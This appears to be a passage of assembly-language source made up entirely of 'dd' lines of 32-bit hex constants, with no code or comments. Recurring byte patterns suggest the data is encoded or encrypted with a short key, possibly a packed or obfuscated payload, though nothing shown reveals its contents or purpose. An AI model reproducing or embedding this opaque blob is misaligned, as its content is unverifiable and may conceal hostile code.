		dd 43678559h, 0D5B13247h, 0FC322405h, 5DBB70A5h, 0BD3EF82Bh
		dd 7529F18Fh, 0AED06BADh, 57B4DB56h, 0F6DD3256h, 0D54597ECh
		dd 0EABBDB56h, 7DA93256h, 0D55CD899h, 39C9760Ah, 0AEB135BFh
		dd 0BB1F3D56h, 0B3E7734Bh, 0C6583256h, 0DBB13256h, 0B63EF41Dh
		dd 0FC3DDC60h, 0C305650Dh, 5F025097h, 57B17A9Eh, 0ABAFBD59h
		dd 3CD13256h, 0EAB13242h, 145FB79Dh, 0F5AE1DE3h, 0A52AB0BBh
		dd 4B0FEE21h, 0E9CAA10Eh, 0CA688559h, 5F3A8236h, 0EAB153AAh
		dd 89B132A3h, 38BE3256h, 5DB13243h, 0AEBEB459h,	5D583256h
		dd 9EB13256h, 0F594E25Fh, 92BEBE3Bh, 9CB1325Fh,	0BAB13244h
		dd 0A7699FF3h, 2463293Ch, 0F673C0C1h, 8B225DBCh, 0D5B1869Dh
		dd 0EAB134BFh, 471A9056h, 0BAE2C96Eh, 5A3F3D56h, 0CEB13256h
		dd 37718559h, 0ABB15337h, 0D5B8DBA3h, 3FE73256h, 0D55CA77Ch
		dd 0BA3757A1h, 0E5D75256h, 0AED04601h, 0EFD75256h, 23BE6138h
		dd 0D5B1325Dh, 0EAB134BFh, 258C1356h, 0DB908A50h, 3BD13256h
		dd 4030CBDDh, 3C122121h, 5A305237h, 0FE610979h,	0E5B13237h
		dd 75B133D1h, 35BECA56h, 5DB13257h, 5BB132AEh, 57BAB759h
		dd 0CDD13256h, 5FBEF9DDh, 0EAB13256h, 7AB13237h, 0BAB124D0h
		dd 4D363D56h, 47B13256h, 57B1325Dh, 8C768231h, 0EB328C84h
		dd 0EAF7A625h, 723C3D56h, 0B5B13256h, 5DB133DCh, 0AEB1CA56h
		dd 57B4B759h, 0A4D13256h, 0D5D0C1E9h, 0A6035256h, 75B122BFh
		dd 5B1E7256h, 0FAA9C8A0h, 2927F39Ch, 0D347D102h, 0ABB153CBh
		dd 0D5B13EBFh, 0B305EA56h, 6C70E566h, 0FECD18B4h, 3DB1324Eh
		dd 4B5AB330h, 1158B35Dh, 0CAF363CBh, 0B3D13256h, 8C4B9EEDh
		dd 14CDE6EDh, 0BA493256h, 48303D56h, 47B13256h,	57B13246h
		dd 975DAD69h, 282F0A89h, 0E9AC54B4h, 0EA09D6A0h, 0BA493256h
		dd 5DB1CB56h, 0AEBABD59h, 31D13256h, 4930E3DDh,	0E0B2460Dh
		dd 53D15237h, 1CEE877Ah, 0BAB1B059h, 52D03256h,	0AEB13FD2h
		dd 57B9DB56h, 1C553256h, 12780AC6h, 0EAD062A0h,	64323D56h
		dd 53B13256h, 5DB1325Ah, 337115B3h, 1D0D7AC8h, 8F0E5EECh
		dd 5ABE3256h, 0EAB1325Eh, 75B3BE59h, 0DBD13256h, 54583256h
		dd 5B13256h, 31C914AAh,	4571F09Dh, 5CBE3256h, 0EAB13257h
		dd 7AB132AEh, 0BAB124DEh, 5DA0DB56h, 29623256h,	259DD55Dh
		dd 0E41C20BCh, 38664EDDh, 0EA8CA14Ch, 75B1CE56h, 46B132AAh
		dd 0D9BE3256h, 0AEB1324Bh, 57A6B259h, 0B9583256h, 3FB13256h
		dd 77BFB225h, 19FBF49Ah, 0E8EBB739h, 17619A93h,	0A1B13220h
		dd 57B13CD1h, 2CBE5256h, 0D5B13256h, 0EAB1B059h, 75D03256h
		dd 0BD353D56h, 52B13256h, 0AEB133D5h, 57B1C756h, 0ABB123BFh
		dd 3F6A2E56h, 0C2F32B37h, 7E956333h, 8EFBCC74h,	0D6BED8E6h
		dd 0AEB13257h, 0BEB132A3h, 0ABB13242h, 5E85B1EAh, 0C57A1B35h
		dd 0CF49DA03h, 0DE032364h, 2532529Ch, 47D13256h, 57B13246h
		dd 48813772h, 0C82BE4A4h, 0CB950579h, 700A8B7Ch, 0DB4E8D59h
		dd 0D3BE3256h, 0AEB1325Eh, 57B3B359h, 0CAD13256h, 0C5583256h
		dd 5EB13256h, 293A5D04h, 0BF5D8416h, 0F52A605Eh, 5656C280h
		dd 0DBBE3256h, 0ABB1325Ah, 0D5B135BFh, 901A9856h, 47A080DAh
		dd 0BA483256h, 5DB1C756h, 5BB132A3h, 57A3DB36h,	4DE63256h
		dd 0D54B7C38h, 774AF0EAh, 275CEDC1h, 23D9D798h,	0F3018930h
		dd 52B13237h, 57BDB259h, 29BE3256h, 0D5B13250h,	0EAB1BD59h
		dd 75B13256h, 43B132AFh, 0A5B132A3h, 28BE3256h,	57B13247h
		dd 0ABB13EBFh, 0C189A756h, 939E0DADh, 0FE589B68h, 53B13250h
		dd 5DB13244h, 0AA01E8Ah, 0CB7AFA6Ch, 1C63647Dh,	4F4D6D68h
		dd 0EAB1390Dh, 75B8B459h, 2D13256h, 37E98C3Dh, 52D05336h
		dd 5B583256h, 5FB13256h, 959A1457h, 1047D3F9h, 757B954Eh
		dd 0BABDDB56h, 0C91F3256h, 3A03D345h, 0A26DB651h, 0ABB16CF2h
		dd 0D5BDB859h, 0ED583256h, 22B13256h, 1F5F7353h, 5DB10DF6h
		dd 0AEB134BFh, 0D759FF56h, 0A4C8F7FBh, 0D5B133D8h, 0EAB1CE56h
		dd 75B137BFh, 65BCDA56h, 5DB1DBD5h, 0AEB123BFh,	7F2D2856h
		dd 0E13547D9h, 0BA769A24h, 870CA820h, 75B19E11h, 0BAB0B459h
		dd 5D483256h, 0AEA3DB56h, 0F41D3256h, 0F0CE6AA7h, 0BAE54128h
		dd 2394390Bh, 0BC75A37Ch, 0B5D13256h, 5DB12ADBh, 0AEA3DA56h
		dd 0BA983256h, 960C58BAh, 44C6A182h, 0AAE48559h, 0F7AA087Fh
		dd 0BABFDB08h, 76703256h, 439BEF53h, 736786F9h,	193AB700h
		dd 3CB13237h, 0EAB13253h, 1BB4D054h, 43B13265h,	5D493256h
		dd 0AEB1CE56h, 0E752B236h, 0A4B13237h, 0D5B122D2h, 0E03D3D56h
		dd 9CB13256h, 0BAB13253h, 5786103h, 47B132B1h, 57B13246h
		dd 9EEB67Eh, 33634DCFh,	7C1887E5h, 2D37E089h, 0DAD13256h
		dd 5DB1B159h, 45313256h, 8A315397h, 0ABB15309h,	0D5B6BF59h
		dd 61BE3256h, 75B13257h, 0BAB9DBAAh, 4F573256h,	85F76EC7h
		dd 57B177F6h, 0A4B132AFh, 0D5B139D9h, 0EAB7DB56h, 0A7A33256h
		dd 0F900856Dh, 56583256h, 76B13256h, 4ECE14CBh,	9B3086D6h
		dd 0D5B1D279h, 0E5B132AFh, 75B135D9h, 0BB363D56h, 0A4B13256h
		dd 0BC583256h, 12B13256h, 4B9925C1h, 0E1A0EE96h, 1F2A3707h
		dd 210BD0DFh, 0DAB13282h, 5DB13CBEh, 0DF11E556h, 3B94F6BBh
		dd 0ACCFB5C6h, 0B325A908h, 8BEEF5DDh, 13D13256h, 7B31EADDh
		dd 5DB153F1h, 0AEB134BFh, 4B8D0956h, 0A4EE832Dh, 0D5B133D3h
		dd 0EAB1CB56h, 0AC0E3D36h, 0BAB139BFh, 0DD6C7956h, 0C9F34C1Eh
		dd 0F066541Ah, 52B13237h, 58BE3256h, 0EAB13257h, 65373DAFh
		dd 53B13256h, 5DB1325Dh, 207EFE62h, 0F8538E76h,	0ABB89EE5h
		dd 0C6383D56h, 3B13256h, 75B13258h, 0A189E087h,	0A76319DEh
		dd 0C94A2EEAh, 57B10379h, 0ABB6DA36h, 0E52D3256h, 0B4B3D666h
		dd 75333DFEh, 0E4B13256h, 52D064E6h, 0AEB124D3h, 57A0DB56h
		dd 0FBE93256h, 0E9CED13Dh, 8F8CA6B6h, 8AA03B02h, 0BAB3D97Dh
		dd 5DB1CB56h, 0AEB0BD59h, 57493256h, 0AA353D56h, 29B13256h
		dd 0EAA0DB36h, 0CD6E3256h, 0E22EB906h, 0FD06C63Bh, 8A5250C7h
		dd 31CF1F9Bh, 14A2FCD7h, 0DAB13237h, 0EAB12BDEh, 75A5DB56h
		dd 0C8283256h, 1A725C83h, 4C702C84h, 0A4518394h, 0B62795B2h
		dd 0D5B128E5h, 0EAB138BFh, 277AE456h, 70E4D3BAh, 5D26D741h
		dd 0AEB1CA56h, 9C305436h, 0AE581F68h, 1BB13256h, 0D3A23E8Dh
		dd 9CB13237h, 0BAB13259h, 0A255B981h, 0D18A6852h, 2CDBE852h
		dd 0ABA4E4A1h, 0D5B8DB56h, 653F3256h, 0CF551AADh, 46195B10h
		dd 0D8BE3256h, 0AEB1325Ah, 57B7B559h, 2FBE3256h, 0D5B13256h
		dd 0E4583256h, 47B13256h, 0C8FFE418h, 53F176B2h, 64C2E60Bh
		dd 37B13273h, 2A66B930h, 7BF026B0h, 0EAB1530Ch,	9C305436h
		dd 7731CA57h, 4E58539Ah, 0DDB13256h, 27A95FA2h,	0D4DC1771h
		dd 8C5CB610h, 0B7EC9309h, 75B1E6B7h, 413A5436h,	5DB138BFh
		dd 4E9A3456h, 5350FBBh,	0CA9E4C89h, 3DD13256h, 0EAB13258h
		dd 48549763h, 0F4A7661Ah, 0C380B9E4h, 26BE9662h, 57B13256h
		dd 0AD58520Ch, 56B13256h, 6CA7CEADh, 75383D92h,	0DBB13256h
		dd 3DB13237h, 0C8D1F8E4h, 36D1E3DDh, 0ABB15337h, 0D5A7BC59h
		dd 0FB583256h, 50B13256h, 4DF6FCF2h, 2EAB7FD4h,	0EB00D366h
		dd 6E307DD5h, 0AB493256h
		dd 0D5BDDB56h, 56F73256h, 95DE53FEh, 949B96D7h,	5DB119E4h
		dd 0AEB13CBFh, 32546F56h, 0B96BAE1Ah, 4B988E2Bh, 0EAA9F2EAh
		dd 75B1CA56h, 0BAB120BFh, 9DD36E56h, 0FF250618h, 661B4233h
		dd 18D553B9h, 0D5D23065h, 0EB383D56h, 89B13256h, 0BA443256h
		dd 5DB1CA56h, 0AEB121BFh, 0D14E6456h, 0C8BEAF75h, 6AED0A5Bh
		dd 0BF172782h, 0AC90977Fh, 35BE3256h, 5DB1324Eh, 0AEB121BFh
		dd 0D2825E56h, 9390D010h, 0A5FFF696h, 93DAA40Bh, 8722D354h
		dd 0A8583256h, 0F8B13256h, 0E4A58B0Bh, 0D8B1C34h, 9E66E6C7h
		dd 5256725h, 0E53E3D50h, 9CB13256h, 0BAB1325Ch,	768EA5ABh
		dd 8C8357FDh, 57B1BC89h, 0ABB122BFh, 59FBD456h,	0C8CCA234h
		dd 60293466h, 6B525754h, 0A8B13292h, 0BC583256h, 8B13256h
		dd 0A0680D43h, 3227797h, 0F2F0B52Fh, 0DAC0C002h, 0DAB1321Eh
		dd 5DB2B859h, 63313256h, 57B15394h, 0ABB122BFh,	0F0823E56h
		dd 0C32A6B77h, 0F2D8EDA5h, 2FF326A7h, 0B4B13283h, 0AEB13244h
		dd 1B6F52D9h, 83B8CFF9h, 8974FC24h, 19463CECh, 75B11F3Bh
		dd 0BAB126BFh, 28C6B556h, 6570AB2Ah, 7A9E41D1h,	548E790Eh
		dd 9E57A85Fh, 0E6313D2Bh, 7AB13256h, 0BAB134DAh, 5D343D56h
		dd 0AEB13256h, 5B3F3D56h, 42B13256h, 0D5B13251h, 0FDED2292h
		dd 7576CBC1h, 0BAB1CE56h, 82305436h, 17D776F1h,	57D07BB4h
		dd 0BF3D3D56h, 3CB13256h, 0EAB13259h, 911D1208h, 863E4B58h
		dd 0A2E43646h, 0AE347F19h, 4658CA56h, 7DB13256h, 70A2EAEAh
		dd 8D9AA9A5h, 85BF0F89h, 3EB05099h, 54583256h, 0FB13256h
		dd 9B99C132h, 2A6DCB5h,	0D9583256h, 0A5B13256h,	0D0DCE963h
		dd 0EAFC82BBh, 5D32CEE0h, 0AEB1CB56h, 57B139BFh, 0D5D9D656h
		dd 0E1D86834h, 12FC5ABFh, 70583256h, 44B13256h,	94F1878Eh
		dd 0A6583256h, 10B13256h, 0BAE76AB4h, 0D583ECF8h, 6AE75256h
		dd 0FEEAD08Ch, 0BAB153AFh, 5DB13EBFh, 9ADBDF56h, 4A059E46h
		dd 49BEA44Fh, 0D5B1CB46h, 0EAA1DA36h, 9CDF3256h, 2D1EBC4h
		dd 2A67ABBDh, 4D525DACh, 944FBE1h, 0CEC4C1D7h, 0D5D05A02h
		dd 0EF585256h, 73B13256h, 0DFB327CEh, 5DB13FBFh, 0BD469C56h
		dd 1F8B162Ch, 7E1B1EEh,	0D5D086A2h, 0EAB6DB56h,	5683256h
		dd 0B0C98828h, 3DB13220h, 0AEB121BFh, 2BD06556h, 0A2C55213h
		dd 36732627h, 1F64F192h, 25A13AF5h, 0BAB13DBFh,	3AA61E56h
		dd 0F960E6DDh, 5604C98Ch, 731EF343h, 0DAB13237h, 0EAB120D3h
		dd 75BCDB56h, 2E703256h, 92DF1B7Ah, 4295E626h, 57CF0405h
		dd 0ABB9DB56h, 47DE3256h, 622A4079h, 7358D2FDh,	2B13256h
		dd 905D0C24h, 0A1B132D3h, 57B111D9h, 0A6595256h, 4AB13256h
		dd 33E4A4F9h, 30E1C37h,	1B7B35FCh, 5DB8DB0Dh, 83FD3256h
		dd 0F935FBF1h, 0CAE09E8Dh, 0C7583256h, 43B13256h, 0BBF37D38h
		dd 904BAA43h, 7BB45872h, 937A5581h, 0AFB13294h,	0AB443256h
		dd 0D5B9DB56h, 0F2293256h, 6181B2E3h, 0BAB19F65h, 5DB138BFh
		dd 4542C756h, 0D5B5555Ch, 0ABD3BA5Ah, 0D5B1CA56h, 0EAB0BE59h
		dd 8D4D3256h, 31D13256h, 0BF3054ADh, 0AED07BD4h, 57B1C756h
		dd 0ABD0CE36h, 0D5B1CB56h, 0EABFDB36h, 32FE3256h, 8DA4F528h
		dd 11B068DCh, 2118EE2Eh, 57B121BFh, 5AC75656h, 7EF36803h
		dd 0FE3C9644h, 434ADFE8h, 0DECD78E0h, 0A4B13237h, 0A1D13256h
		dd 57B130D1h, 534FB956h, 0B5D15237h, 0EA303D37h, 14B13256h
		dd 0BAB3B359h, 3CD13256h, 0CEB13237h, 8F063D36h, 0ABB1BC59h
		dd 64D03256h, 61BE5319h, 75B13258h, 0BAB13BBFh,	0E993EB56h
		dd 0B139ADADh, 57B11738h, 24BEC736h, 0D5B13256h, 12B13237h
		dd 0FFBE3256h, 0BAB13257h, 52B132A3h, 0AEB120D3h, 57BCDB56h
		dd 23D53256h, 0F65A587Ch, 0C8D78366h, 75301C9Dh, 0BABFDB56h
		dd 0AF4A3256h, 1DBA91E8h, 0B8DDF89Eh, 0D1C938A4h, 3DD13256h
		dd 0EAB13245h, 9A9BF56Bh, 0E3D098D6h, 0F170F20Dh, 6F3E06C1h
		dd 31B77437h, 1173DBD7h, 0B46BB80Ch, 0EAB137BFh, 1C2CDF56h
		dd 0BAB13003h, 5DB139BFh, 3BB48156h, 3F801F68h,	37B4BA73h
		dd 5FBE3256h, 0EAB13251h, 75B0B859h, 0BA483256h, 97305256h
		dd 8ED5C653h, 364F8D59h, 0AB493256h, 0C33A3D56h, 0E5B13256h
		dd 75B122D7h, 0BABADB56h, 77E93256h, 0CA1384Ch,	1718C5C2h
		dd 0AD323D6Bh, 0B5B13256h, 98528A30h, 7AB13237h, 0BAB133DFh
		dd 5DB1CE56h, 47B132AAh, 57B13258h, 129ECDA3h, 29386580h
		dd 0B998094Ah, 75B1750Bh, 53B132AAh, 5DB13242h,	0D644B72h
		dd 1FF11CFEh, 4CC68BE8h, 5E5B970Eh, 0D2546C5Fh,	15D13256h
		dd 33CD2D7h, 8C304106h,	8335CD46h, 57B15337h, 0ABA2BC59h
		dd 0DB583256h, 0AB13256h, 0AD7953BDh, 0A940BE19h, 7665C7DAh
		dd 0BC3A3D78h, 0BEB13256h, 0ABB1325Bh, 72D36BFh, 4C3F8F03h
		dd 0DF41B14Eh, 0B5B132E7h, 5DB13FDDh, 0AEB9DB56h, 80D93256h
		dd 8A267D3Fh, 0D5B18B8Dh, 3042B336h, 15D4B9B8h,	7240B3AAh
		dd 3CB86BD1h, 0AEB1CE37h, 813A5436h, 2F4E73EDh,	58BE5318h
		dd 0EAB13257h, 7AB132AAh, 0BAB13ADFh, 0DCD75256h, 56DB1480h
		dd 37B13237h, 0F3D05207h, 0D5B2B959h, 55BE3256h, 75B15397h
		dd 0BAA7B259h, 4C583256h, 0B6B13256h, 0B0B407CFh, 4240D020h
		dd 95BEEF5h, 0E76153F5h, 8CD13256h, 5AEC8C30h, 3DB13237h
		dd 79418C30h, 57B3BA59h, 0F0E33256h, 29B13237h,	65BE3256h
		dd 75B1325Ch, 0B5708736h, 5DB132D4h, 0AEB15356h, 37B132A3h
		dd 20D77AE5h, 0D5B153A1h, 0EAB3B459h, 14D13256h, 38BE3256h
		dd 5DB1325Bh, 0AEB13ABFh, 0FBD43756h, 120C7CEDh, 2CB13262h
		dd 0ED583256h, 0F0B13256h, 622E3989h, 5258054Ah, 74B13256h
		dd 93015C66h, 0FA9A2FE8h, 3AF64464h, 0EAB17871h, 75B0BC59h
		dd 0BA4D3256h, 5DB1CB56h, 0CEB132AAh, 3743B2AFh, 0A4B13237h
		dd 0D5B13ED9h, 30305256h, 79182A77h, 0C3D28830h, 3DB13237h
		dd 0AEA1DB00h, 0EE813256h, 8E3E6AB7h, 0DE372553h, 0F49977A2h
		dd 0FEEA5889h, 0BAB15381h, 5DB120BFh, 649C3356h, 1B7B9A09h
		dd 34D2332Dh, 0DFDA9BF6h, 0EAB207B1h, 633B3D56h, 0DAB13256h
		dd 5DB13EBFh, 36F03556h, 98854D0h, 1C04CBC3h, 22063D2Dh
		dd 0EAB1CB37h, 75A0DB36h, 5F633256h, 14A18532h,	0A0546EC8h
		dd 0F052E1FEh, 0CA96B5B9h, 0C5583256h, 75B13256h, 0B5BA604Eh
		dd 1DB830C7h, 0FC214433h, 0AE16687Eh, 8F3B5256h, 0ABB1CA37h
		dd 0D5ACBA59h, 6DBE3256h, 75B13241h, 0BAB120BFh, 21A29356h
		dd 37350049h, 8B6F422Fh, 74FFFF81h, 0D529F60Ch,	0EAB1C756h
		dd 75BEBE59h, 0B0583256h, 2CB13256h, 0B109564Eh, 0CD5A9108h
		dd 0A4B13246h, 0D5B135DDh, 27315256h, 148380F0h, 0EBD13256h
		dd 52EFF1DDh, 0AED0FBE1h, 57B1CB56h, 0ABB126BFh, 0FCB34356h
		dd 0D9BC46C2h, 2E08B8E2h, 2835CFB6h, 0F42826F0h, 0CEB132F4h
		dd 6378B330h, 0CA72B974h, 0DAD13256h, 0EAB131D2h, 8C0E3D56h
		dd 0DBD8C5D6h, 5DB9BB59h, 2DBE3256h, 57B13254h,	0ABB15336h
		dd 0D5B6B259h, 64BE3256h, 75B13257h, 53B132A3h,	5DB1325Dh
		dd 6C4DD50Dh, 0A584C6EDh, 0AB06477Eh, 0B00F5256h, 52B7134Ch
		dd 266AF6EFh, 0A9363D37h, 0B4B13256h, 0AEB13258h, 50E7B45Eh
		dd 0B10385F0h, 5BD8B654h, 0EAB1BF0Ch, 0CF71B236h, 0E4EF6201h
		dd 0A1B13237h, 0C8D13256h, 37D0FCDDh, 60063DA3h, 20B13237h
		dd 0EAB6BE59h, 0FCBE3256h, 0BAB13257h, 52B132AAh, 0AEB134D5h
		dd 863A5256h, 0ABD0F9DDh
		dd 5E495256h, 67BE5389h, 75B13246h, 0BAB139BFh,	0E6E6FA56h
		dd 0C08A395Dh, 6590AE1Fh, 0AB4D3256h, 0D5B7DB56h, 0B2C53256h
		dd 0CC61BFFEh, 0BA483256h, 5DB1C756h, 0AEB123BFh, 0AEAD2856h
		dd 26C96118h, 0A99265F6h, 33012BD9h, 75B1EE20h,	0BAB135BFh
		dd 5B860356h, 0FB4622B3h, 52583256h, 0B4B13256h, 437BF820h
		dd 0E5B132AFh, 75B12AD8h, 0BAA2DB56h, 49843256h, 0BBCAB270h
		dd 4B022DD5h, 29F44416h, 0FD3710D5h, 3B1321Fh, 75B1325Dh
		dd 80E68355h, 2D9299EFh, 0AE53558Eh, 5B333D56h,	42B13256h
		dd 0D5B13251h, 0CDA32657h, 7599A721h, 0BAA0DB56h, 4E353256h
		dd 26D32687h, 666187BEh, 0BCF81983h, 0D5A496CCh, 0EAB8DB56h
		dd 342F3256h, 9400BA07h, 3D46A9D9h, 0C746B330h,	563B3D18h
		dd 5EB13256h, 0DAB13237h, 0EAB122D6h, 75BADB56h, 16003256h
		dd 0EC243431h, 0B8EE6A07h, 37B13261h, 2B6FEDD6h, 0D5D01F9Dh
		dd 0EAB9DB56h, 0FFF33256h, 5C0DB631h, 5DB1C4A3h, 51A28936h
		dd 5E593052h, 0A9B13256h, 0A163E798h, 8E08BF65h, 2D6BB930h
		dd 0DAB13237h, 42174FE8h, 19BE6359h, 58D0689Fh,	0ABB13EDCh
		dd 0D3303D56h, 0E5B13256h, 75B132D5h, 53B13256h, 5DB13253h
		dd 5D1A5B0Dh, 0AEB13297h, 0CBB132A3h, 0B5EACA00h, 55698559h
		dd 6D9D9C56h, 0BAB15337h, 0D57CB236h, 0AEB153AAh, 57B120BFh
		dd 9EDFF56h, 0E95B8E3Eh, 2C992F6Bh, 0C1DB5F48h,	0BAD8F975h
		dd 59333D56h, 0CEB13256h, 57D0CDE2h, 0A0585256h, 0D7B13256h
		dd 62A1221Eh, 4D679250h, 0E8E00409h, 5DD06D0Eh,	0AEB1CA56h
		dd 0F861B336h, 5EE2E179h, 29B13237h, 0EABCDB36h, 0D4EA3256h
		dd 7A40A9D7h, 1158D251h, 46ECB876h, 57B13256h, 5E5BB30Ch
		dd 0DAB728C7h, 0EAB13AD8h, 77373D56h, 0DAB13256h, 5DA5DB37h
		dd 0D7643256h, 0C4EC7512h, 3DE4B78h, 0B8A8F0ECh, 5F57CEBDh
		dd 0F03C1CD8h, 0BCA8BC8Ah, 0FE33BBAEh, 0A1B7282Fh, 57B126D3h
		dd 0ABBEDB56h, 74ED3256h, 1C8106Ah, 9CDFA9DEh, 2D1EBC4h
		dd 0E333BFBDh, 0A1B72931h, 57B133DFh, 2938C756h, 0D3AB4B93h
		dd 55D7C736h, 9DD0B2F2h, 0BAB10148h, 5FDFDAAAh,	47483256h
		dd 57B1325Dh, 0E586BB06h, 5FB70097h, 2DEAA015h,	6FC817D4h
		dd 0BAB13250h, 5DB4DB56h, 89F73256h, 56573FDh, 0ABB137BFh
		dd 536FE856h, 6F77CD8Ah, 73A5280Fh, 0E8D9C700h,	0A82D9AEEh
		dd 0B46087A9h, 52583442h, 0D6B13256h, 9CB28C04h, 2D305436h
		dd 0F1BEB37Fh, 0BAB13243h, 5DB122BFh, 87A92E56h, 1F1FC1F4h
		dd 71847EFAh, 74E90107h, 6F3C5336h, 73A6B28Dh, 0BAA2B359h
		dd 0DCBE3256h, 0AEB1325Bh, 57B13ABFh, 8A0B6356h, 0E6D78236h
		dd 361CD31h, 75B1325Eh,	0B4BCA373h, 3FB33256h, 0B2E4B7DFh
		dd 0DABE3442h, 0ABB13257h, 0B5B558AEh, 253A54AEh, 72585237h
		dd 36B13256h, 0AD1784ACh, 2CBE2AC1h, 57B13254h,	0C3D0E4DDh
		dd 0D5B12256h, 0E7F15AA3h, 13D13255h, 144D1E9h,	48054D15h
		dd 57B15837h, 0DCBEE2A9h, 0ABB13242h, 0D5BBDB36h, 0BC213256h
		dd 0AB926B4Fh, 0DF9E29BBh, 3C7E8559h, 0AF323D0Ch, 0AFB13256h
		dd 2FBEF25Dh, 0D5B13372h, 0EAB0B059h, 0FC443256h, 0A0C817D4h
		dd 56333D50h, 0CEB13256h, 0E247B330h, 490A54BCh, 57385328h
		dd 0ECAB4B02h, 75B137BFh, 2B7FB456h, 4D58A1B6h,	6EB13256h
		dd 2601D3B7h, 16EE37CBh, 1C4B3316h, 5346E627h, 75B23F16h
		dd 0BC343D36h, 52B13256h, 0AEB132DAh, 57BFDB56h, 981A3256h
		dd 62297ACCh, 0E1C8B32h, 859975FFh, 0AF353D37h,	3DB13256h
		dd 0AEB13EBFh, 9B326656h, 1A483B3Ah, 0DC8BF51Bh, 8BD052D9h
		dd 7258CADDh, 0EEB13256h, 0D67C70CAh, 6E8269ACh, 57BDDBAFh
		dd 743256h, 6D9050F9h, 71B777E4h, 0DF4284AAh, 0DA4D60AAh
		dd 3B49B930h, 0CF170BEEh, 3F48363Ch, 0ABB12256h, 0D5BCBA59h
		dd 3D13256h, 75B13250h,	6219EFB5h, 0B4D09BF9h, 0AEB1325Ah
		dd 794C80D6h, 45AB6415h, 45E537Eh, 0EAB5323Eh, 75DBCB56h
		dd 0F656B236h, 76CEE0D7h, 0CED01641h, 0BE698D59h, 0ABB1325Eh
		dd 0D410E97Fh, 0EA1CAF1Fh, 2023CD37h, 53B7264Ah, 5DB1325Dh
		dd 7970DF0Ah, 0EAE1284Eh, 0F170ED4Dh, 2F33BBA3h, 1FB7282Dh
		dd 75B8DB37h, 5D473256h, 37EB1F47h, 259A97ADh, 4DC817D3h
		dd 6C315250h, 0D5BEDBDFh, 0B32B3256h, 9C19578h,	0C7803A9Ch
		dd 1ADBD0Fh, 0A1725335h, 57B135D2h, 0AA313D56h,	2DB13256h
		dd 6876CA36h, 73A532DBh, 0BAF13256h, 9033F5AFh,	0AEB7265Dh
		dd 0BEB13246h, 0ABB13247h, 0E310E47Dh, 0F54BB51Ah, 9BEB1BF6h
		dd 0EBDEEA3Eh, 9E4853D8h, 0A1D152AFh, 57B131DCh, 62063D56h
		dd 0C12684EEh, 503A5320h, 73AB4B73h, 0BAB0BD59h, 0DE493256h
		dd 2ABE3269h, 57B132B6h, 0ABB123BFh, 0EF44E056h, 636DEA09h
		dd 0E6D5738Dh, 20F16291h, 2232A631h, 2ABE3046h,	57B13226h
		dd 0ABB123BFh, 59000456h, 73E29765h, 0A4901FB8h, 651EACCCh
		dd 223217A3h, 2ABE3646h, 57B1322Dh, 0AE3A3D36h,	0B3B13256h
		dd 40C5E8D7h, 0C4FC8830h, 0BAB4DB37h, 8F143256h, 2DCD7FF2h
		dd 45582691h, 70B13256h, 694353E3h, 0DCBD2282h,	0E87D10D7h
		dd 0EF093864h, 0A2CCDB1Dh, 21BECDA9h, 57B13246h, 0ABB139BFh
		dd 39E3F956h, 0FD7B67B7h, 9806A5B3h, 0BBA17591h, 52B13256h
		dd 0AEB12ADFh, 0D6D75256h, 43FD7384h, 0D5B1325Dh, 0B26B9070h
		dd 8291FD48h, 0E21A85B3h, 0A210DB37h, 6948CDA9h, 57B22211h
		dd 21BE3256h, 0D5B1325Eh, 0EAB3B359h, 14D13256h, 454EB4BFh
		dd 5DB7DBA9h, 2B3256h, 0DD6F2C7h, 0ABBFDB37h, 0B7E33256h
		dd 6D99D6F0h, 8F1F8750h, 9FF2A136h, 0EABE5295h,	464D5286h
		dd 57B1325Ch, 3B85D8D2h, 5F2505C9h, 8BEA25CFh, 64586737h
		dd 84B13256h, 44AF2870h, 9EF0DD47h, 804F4B39h, 18F21379h
		dd 0B549DEDDh, 0EAB0B459h, 9D483256h, 0BAB13256h, 345BB30Ch
		dd 5BB728C0h, 0DABE5236h, 0ABB13256h, 0B4778D59h, 3D0FEDCh
		dd 75B13246h, 12600D0Bh, 7F6C96Ah, 30350B4Ah, 0BF0A1447h
		dd 0D7A380DDh, 55D1344Ch, 5AE726BFh, 8CD069FFh,	53B977DDh
		dd 5DB13251h, 0D64B6435h, 0BE2C0E9Ch, 0ABB13253h, 7916387Dh
		dd 3B7BB2Bh, 75B1325Ah,	0FCBF29D0h, 974D9D33h, 5645F2DEh
		dd 2BA3B0D5h, 57B5344Ch, 0D4303D37h, 16B13256h,	7173CE9Fh
		dd 0BABADB56h, 0FAE73256h, 311C10FEh, 0CCBDD15Ch, 434852C4h
		dd 0D5B13256h, 175BB30Ch, 89B728C0h, 4003B9AEh,	3DB7282Dh
		dd 834EF4D7h, 1A0E1865h, 0CABE391Dh, 0A9A3806Dh, 6EBE344Ch
		dd 75B13329h, 0BAB0B359h, 0D6483256h, 0BB353D68h, 0BEB13256h
		dd 0ABB13246h, 0C1DC4AE5h, 28A4EA88h, 0F280004Ch, 9B43969Fh
		dd 5249EDDDh, 5BB07DE0h, 57B0B659h, 5D4D3256h, 0DA313311h
		dd 0EAB174D3h, 75BCDB56h, 0F18D3256h, 3A91ADB5h, 4AEBCDACh
		dd 0AE0E1AFAh, 4248EB55h, 0D5B1321Eh, 0D05AB236h, 75B120BFh
		dd 51D48856h, 0C0328162h, 754056F9h, 77B8D7BFh,	0CAFE6AF7h
		dd 0D5B138BFh, 0E5A7D556h, 1A4FF334h, 91F0F871h, 48313D8Fh
		dd 47B13256h, 57B13246h, 27B2E11Eh, 717B4213h, 9F56F893h
		dd 0A78F323Ah, 0DAF2C715h, 5DA0B759h, 0A2583256h, 31B13256h
		dd 558DCF5Eh, 8B6B12EAh, 5470FF26h, 4A25F80Bh, 4F34B937h
		dd 52B72652h, 0AEB12BD2h, 57A5DB56h, 8EDF3256h,	1346D9A8h
		dd 802640A5h, 0F6773560h, 0ACDB4590h, 0D03A3B42h, 0A8A521F7h
		dd 0D1BE6236h, 0ABB13256h
		dd 50BE5308h, 0EAB13251h, 75B0B759h, 81443256h,	68333D8Eh
		dd 5BB13256h, 0D0BEEB6Dh, 0ABB1327Ah, 0D177B1A3h, 5DBE5236h
		dd 141E82A9h, 31BE53AEh, 5DB13250h, 0D3095436h,	965853F4h
		dd 0A44ECDA8h, 0D5B135D7h, 0EB3A3D56h, 80B13256h, 3EBEFD6Dh
		dd 5DB13261h, 0AEBBBB59h, 52583256h, 29B13256h,	0C14DF326h
		dd 0F9108FDFh, 0F9BE3442h, 0BAB13243h, 5DB9DB36h, 66783256h
		dd 0F30EDE66h, 29BE61CEh, 0D5B13256h, 14D2DB37h, 144DCDA9h
